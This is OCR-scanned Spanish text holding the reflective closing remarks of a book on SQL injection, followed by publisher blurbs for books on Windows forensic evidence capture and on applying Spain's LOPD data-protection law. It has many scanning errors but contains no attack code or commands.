Repitiendo lo anteriormente dicho, no existen recetas mégicas. No las hay ni para el desarrollador,
ni para el administrador de sistemas... ni para el atacante.

Cada sistema, cada aplicacion, cada instalacion es un mundo. Lo que en un caso funciona, en otros
no. Lo que una vez fue la clave para el éxito, otras seré irrelevante. Y con un lenguaje tan rico
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como SQL, con diversos dialectos, distintos entornos de aplicacion y las mas variadas
configuraciones, las posibilidades son practicamente infinitas.

Por esta razon, un libro como éste no puede sino arafiar tan solo la superficie de un tema como el
que pretende cubrir. Si a finales del capitulo I se prometia que se estaba iniciando un viaje,
posiblemente a estas alturas no se haya hecho mas que preparar las maletas. Queda mucho ﬁor
hacer. Mucho por investigar. Mucho por aprender.

Pero no se trata unicamente de cuanto falte por decir sobre el lenguaje SQL y las vulnerabilidades
de SQL Injection. Una técnica no es mdas que una herramienta que se debe utilizar de forma
adecuada. Lo verdaderamente importante es qué se puede hacer con ella. Saber hasta qué punto se
podria causar un dafio relevante a la organizacion al explotarla. Qué datos importantes pueden ser
relevados o modificados. Qué servicios criticos pueden ser afectados. Qué dafios econdmicos se
podrian provocar.

Y para eso hace falta algo mas que determinar la existencia de una vulnerabilidad.

B
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APLICACION DE MEDIDAS
PARA LA IMPLANTACION DE LA LOPD
EN LAS EMPRESAS

éc i

Conocer qué ha pasado en un sistema puede ser una pregunta de
obligada respuesta en multiples situaciones. Un ordenador del que
se sospecha que alguien estd teniendo acceso porque se estd
diseminando informacién que solo estd almacenada en €1, un
empleado que sospecha que alguien estd leyéndole sus corrcos
personales o una organizacion que cree estar siendo espiada por la
competencia son situaciones mds comunes cada dia en este mundo
en el que en los ordenadores marcan el camino a las empresas.

En este libro se describen los procesos para realizar la captura de
evidencias en sistemas Windows, desde la captura de los datos
almacenados en las unidades fisicas, hasta la extraccion de
evidencias de elementos mas voldtiles como ficheros borrados,
archivos impresos o datos que se encuentran en la memoria RAM de
un sistema. Todo ello, acompafiado de las herramientas que pueden
ser utilizadas para que un técnico pueda crearse su propio kit de
herramientas de analisis forense que le ayude a llevar a buen
término sus investigaciones.

El final del afio 2007 trajo consigo la necesidad de reactivar las
iniciativas de aplicacién de la normativa vigente en materia de
proteccion de datos de cardcter personal. Desde entonces la
actualizacion de los proyectos en curso y la puesta en marcha de
otros nuevos han constituido una prioridad para numerosas
empresas en el Estado espafiol. Sin embargo la aplicacion de la
legislacion vigente no esta siendo ni tan generalizada ni tan rigurosa
como se esperaba.

La lectura y consulta de este libro permitira al lector alejar muchos
de los “miedos” y dudas que ahora le asaltan respecto de la LOPD y
su nuevo reglamento, impidiendo en muchas ocasiones que
empresas y organizaciones se encuentren en un situacion legal.



